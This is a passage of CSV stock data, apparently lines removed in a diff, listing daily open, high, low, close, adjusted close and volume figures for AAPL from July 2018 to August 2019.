-2018-07-26,194.61000061035156,195.9600067138672,193.61000061035156,194.2100067138672,190.0035400390625,19076000.0,AAPL
-2018-07-27,194.99000549316406,195.19000244140625,190.10000610351562,190.97999572753906,186.84352111816406,24024000.0,AAPL
-2018-07-30,191.89999389648438,192.1999969482422,189.07000732421875,189.91000366210938,185.7966766357422,21029500.0,AAPL
-2018-07-31,190.3000030517578,192.13999938964844,189.33999633789062,190.2899932861328,186.16842651367188,39373000.0,AAPL
-2018-08-01,199.1300048828125,201.75999450683594,197.30999755859375,201.5,197.13565063476562,67935700.0,AAPL
-2018-08-02,200.5800018310547,208.3800048828125,200.35000610351562,207.38999938964844,202.8980712890625,62404000.0,AAPL
-2018-08-03,207.02999877929688,208.74000549316406,205.47999572753906,207.99000549316406,203.4850616455078,33447400.0,AAPL
-2018-08-06,208.0,209.25,207.07000732421875,209.07000732421875,204.5416717529297,25425400.0,AAPL
-2018-08-07,209.32000732421875,209.5,206.75999450683594,207.11000061035156,202.62413024902344,25587400.0,AAPL
-2018-08-08,206.0500030517578,207.80999755859375,204.52000427246094,207.25,202.76112365722656,22525500.0,AAPL
-2018-08-09,209.52999877929688,209.77999877929688,207.1999969482422,208.8800048828125,204.35580444335938,23492600.0,AAPL
-2018-08-10,207.36000061035156,209.10000610351562,206.6699981689453,207.52999877929688,203.74710083007812,24611200.0,AAPL
-2018-08-13,209.30999755859375,210.9499969482422,207.6999969482422,208.8699951171875,205.0626678466797,25890900.0,AAPL
-2018-08-14,210.16000366210938,210.55999755859375,208.25999450683594,209.75,205.92666625976562,20748000.0,AAPL
-2018-08-15,209.22000122070312,210.74000549316406,208.3300018310547,210.24000549316406,206.40771484375,28807600.0,AAPL
-2018-08-16,211.75,213.80999755859375,211.47000122070312,213.32000732421875,209.43157958984375,28500400.0,AAPL
-2018-08-17,213.44000244140625,217.9499969482422,213.16000366210938,217.5800018310547,213.6138916015625,35427000.0,AAPL
-2018-08-20,218.10000610351562,219.17999267578125,215.11000061035156,215.4600067138672,211.53256225585938,30287700.0,AAPL
-2018-08-21,216.8000030517578,217.19000244140625,214.02999877929688,215.0399932861328,211.12020874023438,26159800.0,AAPL
-2018-08-22,214.10000610351562,216.36000061035156,213.83999633789062,215.0500030517578,211.13003540039062,19018100.0,AAPL
-2018-08-23,214.64999389648438,217.0500030517578,214.60000610351562,215.49000549316406,211.56201171875,18883200.0,AAPL
-2018-08-24,216.60000610351562,216.89999389648438,215.11000061035156,216.16000366210938,212.2198028564453,18476400.0,AAPL
-2018-08-27,217.14999389648438,218.74000549316406,216.3300018310547,217.94000244140625,213.96734619140625,20525100.0,AAPL
-2018-08-28,219.00999450683594,220.5399932861328,218.9199981689453,219.6999969482422,215.6952667236328,22776800.0,AAPL
-2018-08-29,220.14999389648438,223.49000549316406,219.41000366210938,222.97999572753906,218.9154815673828,27254800.0,AAPL
-2018-08-30,223.25,228.25999450683594,222.39999389648438,225.02999877929688,220.9281005859375,48793800.0,AAPL
-2018-08-31,226.50999450683594,228.8699951171875,226.0,227.6300048828125,223.480712890625,43340100.0,AAPL
-2018-09-04,228.41000366210938,229.17999267578125,226.6300048828125,228.36000061035156,224.19741821289062,27390100.0,AAPL
-2018-09-05,228.99000549316406,229.6699981689453,225.10000610351562,226.8699951171875,222.73458862304688,33333000.0,AAPL
-2018-09-06,226.22999572753906,227.35000610351562,221.3000030517578,223.10000610351562,219.03330993652344,34290000.0,AAPL
-2018-09-07,221.85000610351562,225.3699951171875,220.7100067138672,221.3000030517578,217.26611328125,37619800.0,AAPL
-2018-09-10,220.9499969482422,221.85000610351562,216.47000122070312,218.3300018310547,214.35023498535156,39516500.0,AAPL
-2018-09-11,218.00999450683594,224.3000030517578,216.55999755859375,223.85000610351562,219.76963806152344,35749000.0,AAPL
-2018-09-12,224.94000244140625,225.0,219.83999633789062,221.07000732421875,217.04029846191406,49278700.0,AAPL
-2018-09-13,223.52000427246094,228.35000610351562,222.57000732421875,226.41000366210938,222.282958984375,41706400.0,AAPL
-2018-09-14,225.75,226.83999633789062,222.52000427246094,223.83999633789062,219.7598114013672,31999300.0,AAPL
-2018-09-17,222.14999389648438,222.9499969482422,217.27000427246094,217.8800048828125,213.908447265625,37195100.0,AAPL
-2018-09-18,217.7899932861328,221.85000610351562,217.1199951171875,218.24000549316406,214.2618865966797,31571700.0,AAPL
-2018-09-19,218.5,219.6199951171875,215.3000030517578,218.3699951171875,214.38949584960938,27123800.0,AAPL
-2018-09-20,220.24000549316406,222.27999877929688,219.14999389648438,220.02999877929688,216.01927185058594,26608800.0,AAPL
-2018-09-21,220.77999877929688,221.36000061035156,217.2899932861328,217.66000366210938,213.6924591064453,96246700.0,AAPL
-2018-09-24,216.82000732421875,221.25999450683594,216.6300048828125,220.7899932861328,216.76539611816406,27693400.0,AAPL
-2018-09-25,219.75,222.82000732421875,219.6999969482422,222.19000244140625,218.13987731933594,24554400.0,AAPL
-2018-09-26,221.0,223.75,219.75999450683594,220.4199981689453,216.4021453857422,23984700.0,AAPL
-2018-09-27,223.82000732421875,226.44000244140625,223.5399932861328,224.9499969482422,220.84957885742188,30181200.0,AAPL
-2018-09-28,224.7899932861328,225.83999633789062,224.02000427246094,225.74000549316406,221.6251678466797,22929400.0,AAPL
-2018-10-01,227.9499969482422,229.4199981689453,226.35000610351562,227.25999450683594,223.11746215820312,23600800.0,AAPL
-2018-10-02,227.25,230.0,226.6300048828125,229.27999877929688,225.10064697265625,24788200.0,AAPL
-2018-10-03,230.0500030517578,233.47000122070312,229.77999877929688,232.07000732421875,227.8397979736328,28654800.0,AAPL
-2018-10-04,230.77999877929688,232.35000610351562,226.72999572753906,227.99000549316406,223.83416748046875,32042000.0,AAPL
-2018-10-05,227.9600067138672,228.41000366210938,220.5800018310547,224.2899932861328,220.20159912109375,33580500.0,AAPL
-2018-10-08,222.2100067138672,224.8000030517578,220.1999969482422,223.77000427246094,219.69110107421875,29663900.0,AAPL
-2018-10-09,223.63999938964844,227.27000427246094,222.25,226.8699951171875,222.73458862304688,26891000.0,AAPL
-2018-10-10,225.4600067138672,226.35000610351562,216.0500030517578,216.36000061035156,212.41615295410156,41990600.0,AAPL
-2018-10-11,214.52000427246094,219.5,212.32000732421875,214.4499969482422,210.5409698486328,53124400.0,AAPL
-2018-10-12,220.4199981689453,222.8800048828125,216.83999633789062,222.11000061035156,218.06134033203125,40337900.0,AAPL
-2018-10-15,221.16000366210938,221.8300018310547,217.27000427246094,217.36000061035156,213.39791870117188,30791000.0,AAPL
-2018-10-16,218.92999267578125,222.99000549316406,216.75999450683594,222.14999389648438,218.10060119628906,29184000.0,AAPL
-2018-10-17,222.3000030517578,222.63999938964844,219.33999633789062,221.19000244140625,217.15811157226562,22885400.0,AAPL
-2018-10-18,217.86000061035156,219.74000549316406,213.0,216.02000427246094,212.0823516845703,32581300.0,AAPL
-2018-10-19,218.05999755859375,221.25999450683594,217.42999267578125,219.30999755859375,215.31236267089844,33078700.0,AAPL
-2018-10-22,219.7899932861328,223.36000061035156,218.94000244140625,220.64999389648438,216.62794494628906,28792100.0,AAPL
-2018-10-23,215.8300018310547,223.25,214.6999969482422,222.72999572753906,218.67002868652344,38767800.0,AAPL
-2018-10-24,222.60000610351562,224.22999572753906,214.5399932861328,215.08999633789062,211.16929626464844,40925500.0,AAPL
-2018-10-25,217.7100067138672,221.3800048828125,216.75,219.8000030517578,215.79345703125,29855800.0,AAPL
-2018-10-26,215.89999389648438,220.19000244140625,212.6699981689453,216.3000030517578,212.35723876953125,47258400.0,AAPL
-2018-10-29,219.19000244140625,219.69000244140625,206.08999633789062,212.24000549316406,208.3712615966797,45935500.0,AAPL
-2018-10-30,211.14999389648438,215.17999267578125,209.27000427246094,213.3000030517578,209.41192626953125,36660000.0,AAPL
-2018-10-31,216.8800048828125,220.4499969482422,216.6199951171875,218.86000061035156,214.87059020996094,38358900.0,AAPL
-2018-11-01,219.0500030517578,222.36000061035156,216.80999755859375,222.22000122070312,218.16934204101562,58323200.0,AAPL
-2018-11-02,209.5500030517578,213.64999389648438,205.42999267578125,207.47999572753906,203.697998046875,91328700.0,AAPL
-2018-11-05,204.3000030517578,204.38999938964844,198.1699981689453,201.58999633789062,197.91537475585938,66163700.0,AAPL
-2018-11-06,201.9199981689453,204.72000122070312,201.69000244140625,203.77000427246094,200.05564880371094,31882900.0,AAPL
-2018-11-07,205.97000122070312,210.05999755859375,204.1300048828125,209.9499969482422,206.12298583984375,33424400.0,AAPL
-2018-11-08,209.97999572753906,210.1199951171875,206.75,208.49000549316406,205.40380859375,25362600.0,AAPL
-2018-11-09,205.5500030517578,206.00999450683594,202.25,204.47000122070312,201.44329833984375,34365800.0,AAPL
-2018-11-12,199.0,199.85000610351562,193.7899932861328,194.1699981689453,191.29576110839844,51135500.0,AAPL
-2018-11-13,191.6300048828125,197.17999267578125,191.4499969482422,192.22999572753906,189.3844757080078,46882900.0,AAPL
-2018-11-14,193.89999389648438,194.47999572753906,185.92999267578125,186.8000030517578,184.03488159179688,60801000.0,AAPL
-2018-11-15,188.38999938964844,191.97000122070312,186.89999389648438,191.41000366210938,188.57662963867188,46478800.0,AAPL
-2018-11-16,190.5,194.97000122070312,189.4600067138672,193.52999877929688,190.6652374267578,36928300.0,AAPL
-2018-11-19,190.0,190.6999969482422,184.99000549316406,185.86000061035156,183.10877990722656,41925300.0,AAPL
-2018-11-20,178.3699951171875,181.47000122070312,175.50999450683594,176.97999572753906,174.36024475097656,67825200.0,AAPL
-2018-11-21,179.72999572753906,180.27000427246094,176.5500030517578,176.77999877929688,174.16319274902344,31124200.0,AAPL
-2018-11-23,174.94000244140625,176.60000610351562,172.10000610351562,172.2899932861328,169.73965454101562,23624000.0,AAPL
-2018-11-26,174.24000549316406,174.9499969482422,170.25999450683594,174.6199951171875,172.03517150878906,44998500.0,AAPL
-2018-11-27,171.50999450683594,174.77000427246094,170.8800048828125,174.24000549316406,171.66079711914062,41387400.0,AAPL
-2018-11-28,176.72999572753906,181.2899932861328,174.92999267578125,180.94000244140625,178.26162719726562,46062500.0,AAPL
-2018-11-29,182.66000366210938,182.8000030517578,177.6999969482422,179.5500030517578,176.89219665527344,41770000.0,AAPL
-2018-11-30,180.2899932861328,180.3300018310547,177.02999877929688,178.5800018310547,175.93655395507812,39531500.0,AAPL
-2018-12-03,184.4600067138672,184.94000244140625,181.2100067138672,184.82000732421875,182.0841827392578,40802500.0,AAPL
-2018-12-04,180.9499969482422,182.38999938964844,176.27000427246094,176.69000244140625,174.0745391845703,41344300.0,AAPL
-2018-12-06,171.75999450683594,174.77999877929688,170.4199981689453,174.72000122070312,172.13368225097656,43098400.0,AAPL
-2018-12-07,173.49000549316406,174.49000549316406,168.3000030517578,168.49000549316406,165.9959259033203,42281600.0,AAPL
-2018-12-10,165.0,170.08999633789062,163.3300018310547,169.60000610351562,167.0894775390625,62026000.0,AAPL
-2018-12-11,171.66000366210938,171.7899932861328,167.0,168.6300048828125,166.13385009765625,47281700.0,AAPL
-2018-12-12,170.39999389648438,171.9199981689453,169.02000427246094,169.10000610351562,166.5968780517578,35627700.0,AAPL
-2018-12-13,170.49000549316406,172.57000732421875,169.5500030517578,170.9499969482422,168.4194793701172,31898600.0,AAPL
-2018-12-14,169.0,169.0800018310547,165.27999877929688,165.47999572753906,163.03045654296875,40703700.0,AAPL
-2018-12-17,165.4499969482422,168.35000610351562,162.72999572753906,163.94000244140625,161.5132598876953,44287900.0,AAPL
-2018-12-18,165.3800048828125,167.52999877929688,164.38999938964844,166.07000732421875,163.6117401123047,33841500.0,AAPL
-2018-12-19,166.0,167.4499969482422,159.08999633789062,160.88999938964844,158.50840759277344,49047300.0,AAPL
-2018-12-20,160.39999389648438,162.11000061035156,155.3000030517578,156.8300018310547,154.5084991455078,64773000.0,AAPL
-2018-12-21,156.86000061035156,158.16000366210938,149.6300048828125,150.72999572753906,148.49879455566406,95744600.0,AAPL
-2018-12-24,148.14999389648438,151.5500030517578,146.58999633789062,146.8300018310547,144.6565399169922,37169200.0,AAPL
-2018-12-26,148.3000030517578,157.22999572753906,146.72000122070312,157.1699981689453,154.84347534179688,58582500.0,AAPL
-2018-12-27,155.83999633789062,156.77000427246094,150.07000732421875,156.14999389648438,153.83856201171875,53117100.0,AAPL
-2018-12-28,157.5,158.52000427246094,154.5500030517578,156.22999572753906,153.91738891601562,42291400.0,AAPL
-2018-12-31,158.52999877929688,159.36000061035156,156.47999572753906,157.74000549316406,155.40504455566406,35003500.0,AAPL
-2019-01-02,154.88999938964844,158.85000610351562,154.22999572753906,157.9199981689453,155.58236694335938,37039700.0,AAPL
-2019-01-03,143.97999572753906,145.72000122070312,142.0,142.19000244140625,140.08522033691406,91312200.0,AAPL
-2019-01-04,144.52999877929688,148.5500030517578,143.8000030517578,148.25999450683594,146.0653533935547,58607100.0,AAPL
-2019-01-07,148.6999969482422,148.8300018310547,145.89999389648438,147.92999267578125,145.74026489257812,54777800.0,AAPL
-2019-01-08,149.55999755859375,151.82000732421875,148.52000427246094,150.75,148.5185089111328,41025300.0,AAPL
-2019-01-09,151.2899932861328,154.52999877929688,149.6300048828125,153.30999755859375,151.0406036376953,45099100.0,AAPL
-2019-01-10,152.5,153.97000122070312,150.86000061035156,153.8000030517578,151.52337646484375,35780700.0,AAPL
-2019-01-11,152.8800048828125,153.6999969482422,151.50999450683594,152.2899932861328,150.03570556640625,27023200.0,AAPL
-2019-01-14,150.85000610351562,151.27000427246094,149.22000122070312,150.0,147.77960205078125,32439200.0,AAPL
-2019-01-15,150.27000427246094,153.38999938964844,150.0500030517578,153.07000732421875,150.80416870117188,28710900.0,AAPL
-2019-01-16,153.0800018310547,155.8800048828125,153.0,154.94000244140625,152.646484375,30569700.0,AAPL
-2019-01-17,154.1999969482422,157.66000366210938,153.25999450683594,155.86000061035156,153.55287170410156,29821200.0,AAPL
-2019-01-18,157.5,157.8800048828125,155.97999572753906,156.82000732421875,154.4986572265625,33751000.0,AAPL
-2019-01-22,156.41000366210938,156.72999572753906,152.6199951171875,153.3000030517578,151.03077697753906,30394000.0,AAPL
-2019-01-23,154.14999389648438,155.13999938964844,151.6999969482422,153.9199981689453,151.64158630371094,23130600.0,AAPL
-2019-01-24,154.11000061035156,154.47999572753906,151.74000549316406,152.6999969482422,150.43963623046875,25441500.0,AAPL
-2019-01-25,155.47999572753906,158.1300048828125,154.32000732421875,157.75999450683594,155.42474365234375,33535500.0,AAPL
-2019-01-28,155.7899932861328,156.3300018310547,153.66000366210938,156.3000030517578,153.98635864257812,26192100.0,AAPL
-2019-01-29,156.25,158.1300048828125,154.11000061035156,154.67999267578125,152.39031982421875,41587200.0,AAPL
-2019-01-30,163.25,166.14999389648438,160.22999572753906,165.25,162.80386352539062,61109800.0,AAPL
-2019-01-31,166.11000061035156,169.0,164.55999755859375,166.44000244140625,163.9762420654297,40739600.0,AAPL
-2019-02-01,166.9600067138672,168.97999572753906,165.92999267578125,166.52000427246094,164.05506896972656,32668100.0,AAPL
-2019-02-04,167.41000366210938,171.66000366210938,167.27999877929688,171.25,168.7150421142578,31495500.0,AAPL
-2019-02-05,172.86000061035156,175.0800018310547,172.35000610351562,174.17999267578125,171.6016845703125,36101600.0,AAPL
-2019-02-06,174.64999389648438,175.57000732421875,172.85000610351562,174.24000549316406,171.66079711914062,28239600.0,AAPL
-2019-02-07,172.39999389648438,173.94000244140625,170.33999633789062,170.94000244140625,168.40965270996094,31741700.0,AAPL
-2019-02-08,168.99000549316406,170.66000366210938,168.4199981689453,170.41000366210938,168.60752868652344,23820000.0,AAPL
-2019-02-11,171.0500030517578,171.2100067138672,169.25,169.42999267578125,167.63787841796875,20993400.0,AAPL
-2019-02-12,170.10000610351562,171.0,169.6999969482422,170.88999938964844,169.0824432373047,22283500.0,AAPL
-2019-02-13,171.38999938964844,172.47999572753906,169.9199981689453,170.17999267578125,168.37994384765625,22490200.0,AAPL
-2019-02-14,169.7100067138672,171.25999450683594,169.3800048828125,170.8000030517578,168.993408203125,21835700.0,AAPL
-2019-02-15,171.25,171.6999969482422,169.75,170.4199981689453,168.617431640625,24626800.0,AAPL
-2019-02-19,169.7100067138672,171.44000244140625,169.49000549316406,170.92999267578125,169.12200927734375,18972800.0,AAPL
-2019-02-20,171.19000244140625,173.32000732421875,170.99000549316406,172.02999877929688,170.21038818359375,26114400.0,AAPL
-2019-02-21,171.8000030517578,172.3699951171875,170.3000030517578,171.05999755859375,169.2506561279297,17249700.0,AAPL
-2019-02-22,171.5800018310547,173.0,171.3800048828125,172.97000122070312,171.14044189453125,18913200.0,AAPL
-2019-02-25,174.16000366210938,175.8699951171875,173.9499969482422,174.22999572753906,172.38711547851562,21873400.0,AAPL
-2019-02-26,173.7100067138672,175.3000030517578,173.1699981689453,174.3300018310547,172.48605346679688,17070200.0,AAPL
-2019-02-27,173.2100067138672,175.0,172.72999572753906,174.8699951171875,173.0203399658203,27835400.0,AAPL
-2019-02-28,174.32000732421875,174.91000366210938,172.9199981689453,173.14999389648438,171.31854248046875,28215400.0,AAPL
-2019-03-01,174.27999877929688,175.14999389648438,172.88999938964844,174.97000122070312,173.11927795410156,25886200.0,AAPL
-2019-03-04,175.69000244140625,177.75,173.97000122070312,175.85000610351562,173.989990234375,27436200.0,AAPL
-2019-03-05,175.94000244140625,176.0,174.5399932861328,175.52999877929688,173.67337036132812,19737400.0,AAPL
-2019-03-06,174.6699981689453,175.49000549316406,173.94000244140625,174.52000427246094,172.67405700683594,20810400.0,AAPL
-2019-03-07,173.8699951171875,174.44000244140625,172.02000427246094,172.5,170.6754150390625,24796400.0,AAPL
-2019-03-08,170.32000732421875,173.07000732421875,169.5,172.91000366210938,171.08108520507812,23999400.0,AAPL
-2019-03-11,175.49000549316406,179.1199951171875,175.35000610351562,178.89999389648438,177.00770568847656,32011000.0,AAPL
-2019-03-12,180.0,182.6699981689453,179.3699951171875,180.91000366210938,178.99647521972656,32467600.0,AAPL
-2019-03-13,182.25,183.3000030517578,180.9199981689453,181.7100067138672,179.78799438476562,31032500.0,AAPL
-2019-03-14,183.89999389648438,184.10000610351562,182.55999755859375,183.72999572753906,181.78662109375,23579500.0,AAPL
-2019-03-15,184.85000610351562,187.3300018310547,183.74000549316406,186.1199951171875,184.15133666992188,39042900.0,AAPL
-2019-03-18,185.8000030517578,188.38999938964844,185.7899932861328,188.02000427246094,186.03126525878906,26219800.0,AAPL
-2019-03-19,188.35000610351562,188.99000549316406,185.9199981689453,186.52999877929688,184.55702209472656,31646400.0,AAPL
-2019-03-20,186.22999572753906,189.49000549316406,184.72999572753906,188.16000366210938,186.16978454589844,31035200.0,AAPL
-2019-03-21,190.02000427246094,196.3300018310547,189.80999755859375,195.08999633789062,193.02645874023438,51034200.0,AAPL
-2019-03-22,195.33999633789062,197.69000244140625,190.77999877929688,191.0500030517578,189.02920532226562,42407700.0,AAPL
-2019-03-25,191.50999450683594,191.97999572753906,186.60000610351562,188.74000549316406,186.74363708496094,43845300.0,AAPL
-2019-03-26,191.66000366210938,192.8800048828125,184.5800018310547,186.7899932861328,184.8142547607422,49800500.0,AAPL
-2019-03-27,188.75,189.75999450683594,186.5500030517578,188.47000122070312,186.4764862060547,29848400.0,AAPL
-2019-03-28,188.9499969482422,189.55999755859375,187.52999877929688,188.72000122070312,186.72384643554688,20780400.0,AAPL
-2019-03-29,189.8300018310547,190.0800018310547,188.5399932861328,189.9499969482422,187.9408416748047,23564000.0,AAPL
-2019-04-01,191.63999938964844,191.67999267578125,188.3800048828125,191.24000549316406,189.2172088623047,27862000.0,AAPL
-2019-04-02,191.08999633789062,194.4600067138672,191.0500030517578,194.02000427246094,191.96780395507812,22765700.0,AAPL
-2019-04-03,193.25,196.5,193.14999389648438,195.35000610351562,193.2837371826172,23271800.0,AAPL
-2019-04-04,194.7899932861328,196.3699951171875,193.13999938964844,195.69000244140625,193.6201171875,19114300.0,AAPL
-2019-04-05,196.4499969482422,197.10000610351562,195.92999267578125,197.0,194.916259765625,18526600.0,AAPL
-2019-04-08,196.4199981689453,200.22999572753906,196.33999633789062,200.10000610351562,197.9834747314453,25881700.0,AAPL
-2019-04-09,200.32000732421875,202.85000610351562,199.22999572753906,199.5,197.38983154296875,35768200.0,AAPL
-2019-04-10,198.67999267578125,200.74000549316406,198.17999267578125,200.6199951171875,198.4979705810547,21695300.0,AAPL
-2019-04-11,200.85000610351562,201.0,198.44000244140625,198.9499969482422,196.84564208984375,20900800.0,AAPL
-2019-04-12,199.1999969482422,200.13999938964844,196.2100067138672,198.8699951171875,196.76649475097656,27760700.0,AAPL
-2019-04-15,198.5800018310547,199.85000610351562,198.00999450683594,199.22999572753906,197.1226806640625,17536600.0,AAPL
-2019-04-16,199.4600067138672,201.3699951171875,198.55999755859375,199.25,197.14247131347656,25696400.0,AAPL
-2019-04-17,199.5399932861328,203.3800048828125,198.61000061035156,203.1300048828125,200.9814453125,28906800.0,AAPL
-2019-04-18,203.1199951171875,204.14999389648438,202.52000427246094,203.86000061035156,201.70372009277344,24195800.0,AAPL
-2019-04-22,202.8300018310547,204.94000244140625,202.33999633789062,204.52999877929688,202.36663818359375,19439500.0,AAPL
-2019-04-23,204.42999267578125,207.75,203.89999389648438,207.47999572753906,205.28541564941406,23323000.0,AAPL
-2019-04-24,207.36000061035156,208.47999572753906,207.0500030517578,207.16000366210938,204.96881103515625,17540600.0,AAPL
-2019-04-25,206.8300018310547,207.75999450683594,205.1199951171875,205.27999877929688,203.10870361328125,18543200.0,AAPL
-2019-04-26,204.89999389648438,205.0,202.1199951171875,204.3000030517578,202.13906860351562,18649100.0,AAPL
-2019-04-29,204.39999389648438,205.97000122070312,203.86000061035156,204.61000061035156,202.44578552246094,22204700.0,AAPL
-2019-04-30,203.05999755859375,203.39999389648438,199.11000061035156,200.6699981689453,198.54745483398438,46534900.0,AAPL
-2019-05-01,209.8800048828125,215.30999755859375,209.22999572753906,210.52000427246094,208.29327392578125,64827300.0,AAPL
-2019-05-02,209.83999633789062,212.64999389648438,208.1300048828125,209.14999389648438,206.93775939941406,31996300.0,AAPL
-2019-05-03,210.88999938964844,211.83999633789062,210.22999572753906,211.75,209.51026916503906,20892400.0,AAPL
-2019-05-06,204.2899932861328,208.83999633789062,203.5,208.47999572753906,206.2748565673828,32443100.0,AAPL
-2019-05-07,205.8800048828125,207.4199981689453,200.8300018310547,202.86000061035156,200.71429443359375,38763700.0,AAPL
-2019-05-08,201.89999389648438,205.33999633789062,201.75,202.89999389648438,200.7538604736328,26339500.0,AAPL
-2019-05-09,200.39999389648438,201.67999267578125,196.66000366210938,200.72000122070312,198.596923828125,34908600.0,AAPL
-2019-05-10,197.4199981689453,198.85000610351562,192.77000427246094,197.17999267578125,195.84567260742188,41208700.0,AAPL
-2019-05-13,187.7100067138672,189.47999572753906,182.85000610351562,185.72000122070312,184.46324157714844,57430600.0,AAPL
-2019-05-14,186.41000366210938,189.6999969482422,185.41000366210938,188.66000366210938,187.38333129882812,36529700.0,AAPL
-2019-05-15,186.27000427246094,191.75,186.02000427246094,190.9199981689453,189.62803649902344,26544700.0,AAPL
-2019-05-16,189.91000366210938,192.47000122070312,188.83999633789062,190.0800018310547,188.79373168945312,33031400.0,AAPL
-2019-05-17,186.92999267578125,190.89999389648438,186.75999450683594,189.0,187.72103881835938,32879100.0,AAPL
-2019-05-20,183.52000427246094,184.35000610351562,180.27999877929688,183.08999633789062,181.8510284423828,38612300.0,AAPL
-2019-05-21,185.22000122070312,188.0,184.6999969482422,186.60000610351562,185.3372802734375,28364800.0,AAPL
-2019-05-22,184.66000366210938,185.7100067138672,182.5500030517578,182.77999877929688,181.54312133789062,29748600.0,AAPL
-2019-05-23,179.8000030517578,180.5399932861328,177.80999755859375,179.66000366210938,178.44424438476562,36529700.0,AAPL
-2019-05-24,180.1999969482422,182.13999938964844,178.6199951171875,178.97000122070312,177.7589111328125,23714700.0,AAPL
-2019-05-28,178.9199981689453,180.58999633789062,177.91000366210938,178.22999572753906,177.02391052246094,27948200.0,AAPL
-2019-05-29,176.4199981689453,179.35000610351562,176.0,177.3800048828125,176.17965698242188,28481200.0,AAPL
-2019-05-30,177.9499969482422,179.22999572753906,176.6699981689453,178.3000030517578,177.09344482421875,21218400.0,AAPL
-2019-05-31,176.22999572753906,177.99000549316406,174.99000549316406,175.07000732421875,173.8852996826172,27043600.0,AAPL
-2019-06-03,175.60000610351562,177.9199981689453,170.27000427246094,173.3000030517578,172.1272735595703,40396100.0,AAPL
-2019-06-04,175.44000244140625,179.8300018310547,174.52000427246094,179.63999938964844,178.42437744140625,30968000.0,AAPL
-2019-06-05,184.27999877929688,184.99000549316406,181.13999938964844,182.5399932861328,181.3047332763672,29773400.0,AAPL
-2019-06-06,183.0800018310547,185.47000122070312,182.14999389648438,185.22000122070312,183.96661376953125,22526300.0,AAPL
-2019-06-07,186.50999450683594,191.9199981689453,185.77000427246094,190.14999389648438,188.86325073242188,30684400.0,AAPL
-2019-06-10,191.80999755859375,195.3699951171875,191.6199951171875,192.5800018310547,191.2768096923828,26220900.0,AAPL
-2019-06-11,194.86000061035156,196.0,193.60000610351562,194.80999755859375,193.49171447753906,26932900.0,AAPL
-2019-06-12,193.9499969482422,195.97000122070312,193.38999938964844,194.19000244140625,192.87591552734375,18221800.0,AAPL
-2019-06-13,194.6999969482422,196.7899932861328,193.60000610351562,194.14999389648438,192.83616638183594,21674600.0,AAPL
-2019-06-14,191.5500030517578,193.58999633789062,190.3000030517578,192.74000549316406,191.43572998046875,18761500.0,AAPL
-2019-06-17,192.89999389648438,194.9600067138672,192.1699981689453,193.88999938964844,192.57794189453125,14669100.0,AAPL
-2019-06-18,196.0500030517578,200.2899932861328,195.2100067138672,198.4499969482422,197.10708618164062,26551000.0,AAPL
-2019-06-19,199.67999267578125,199.8800048828125,197.30999755859375,197.8699951171875,196.531005859375,21124200.0,AAPL
-2019-06-20,200.3699951171875,200.61000061035156,198.02999877929688,199.4600067138672,198.11024475097656,21514000.0,AAPL
-2019-06-21,198.8000030517578,200.85000610351562,198.14999389648438,198.77999877929688,197.43484497070312,47800600.0,AAPL
-2019-06-24,198.5399932861328,200.16000366210938,198.1699981689453,198.5800018310547,197.2362060546875,18220400.0,AAPL
-2019-06-25,198.42999267578125,199.25999450683594,195.2899932861328,195.57000732421875,194.24658203125,21070300.0,AAPL
-2019-06-26,197.77000427246094,200.99000549316406,197.35000610351562,199.8000030517578,198.4479522705078,26067500.0,AAPL
-2019-06-27,200.2899932861328,201.57000732421875,199.57000732421875,199.74000549316406,198.38836669921875,20899700.0,AAPL
-2019-06-28,198.67999267578125,199.5,197.0500030517578,197.9199981689453,196.58065795898438,31110600.0,AAPL
-2019-07-01,203.1699981689453,204.49000549316406,200.64999389648438,201.5500030517578,200.1861114501953,27316700.0,AAPL
-2019-07-02,201.41000366210938,203.1300048828125,201.36000061035156,202.72999572753906,201.3581085205078,16935200.0,AAPL
-2019-07-03,203.27999877929688,204.44000244140625,202.69000244140625,204.41000366210938,203.02674865722656,11362000.0,AAPL
-2019-07-05,203.35000610351562,205.0800018310547,202.89999389648438,204.22999572753906,202.84796142578125,17265500.0,AAPL
-2019-07-08,200.80999755859375,201.39999389648438,198.41000366210938,200.02000427246094,198.6664581298828,25287800.0,AAPL
-2019-07-09,199.1999969482422,201.50999450683594,198.80999755859375,201.24000549316406,199.8782196044922,20578000.0,AAPL
-2019-07-10,201.85000610351562,203.72999572753906,201.55999755859375,203.22999572753906,201.854736328125,17897100.0,AAPL
-2019-07-11,203.30999755859375,204.38999938964844,201.7100067138672,201.75,200.38475036621094,20191800.0,AAPL
-2019-07-12,202.4499969482422,204.0,202.1999969482422,203.3000030517578,201.9242706298828,17595200.0,AAPL
-2019-07-15,204.08999633789062,205.8699951171875,204.0,205.2100067138672,203.82135009765625,16947400.0,AAPL
-2019-07-16,204.58999633789062,206.11000061035156,203.5,204.5,203.1161346435547,16866800.0,AAPL
-2019-07-17,204.0500030517578,205.08999633789062,203.27000427246094,203.35000610351562,201.9739227294922,14107500.0,AAPL
-2019-07-18,204.0,205.8800048828125,203.6999969482422,205.66000366210938,204.26829528808594,18582200.0,AAPL
-2019-07-19,205.7899932861328,206.5,202.36000061035156,202.58999633789062,201.2190704345703,20929300.0,AAPL
-2019-07-22,203.64999389648438,207.22999572753906,203.61000061035156,207.22000122070312,205.81773376464844,22277900.0,AAPL
-2019-07-23,208.4600067138672,208.91000366210938,207.2899932861328,208.83999633789062,207.4267578125,18355200.0,AAPL
-2019-07-24,207.6699981689453,209.14999389648438,207.1699981689453,208.6699981689453,207.2579345703125,14991600.0,AAPL
-2019-07-25,208.88999938964844,209.24000549316406,206.72999572753906,207.02000427246094,205.6190948486328,13909600.0,AAPL
-2019-07-26,207.47999572753906,209.72999572753906,207.13999938964844,207.74000549316406,206.33421325683594,17618900.0,AAPL
-2019-07-29,208.4600067138672,210.63999938964844,208.44000244140625,209.67999267578125,208.26107788085938,21673400.0,AAPL
-2019-07-30,208.75999450683594,210.16000366210938,207.30999755859375,208.77999877929688,207.36717224121094,33935700.0,AAPL
-2019-07-31,216.4199981689453,221.3699951171875,211.3000030517578,213.0399932861328,211.59835815429688,69281400.0,AAPL
-2019-08-01,213.89999389648438,218.02999877929688,206.74000549316406,208.42999267578125,207.01953125,54017900.0,AAPL
-2019-08-02,205.52999877929688,206.42999267578125,201.6300048828125,204.02000427246094,202.63938903808594,40862100.0,AAPL
-2019-08-05,197.99000549316406,198.64999389648438,192.5800018310547,193.33999633789062,192.03164672851562,52393000.0,AAPL
-2019-08-06,196.30999755859375,198.07000732421875,194.0399932861328,197.0,195.66688537597656,35824800.0,AAPL
-2019-08-07,195.41000366210938,199.55999755859375,193.82000732421875,199.0399932861328,197.69308471679688,33364400.0,AAPL
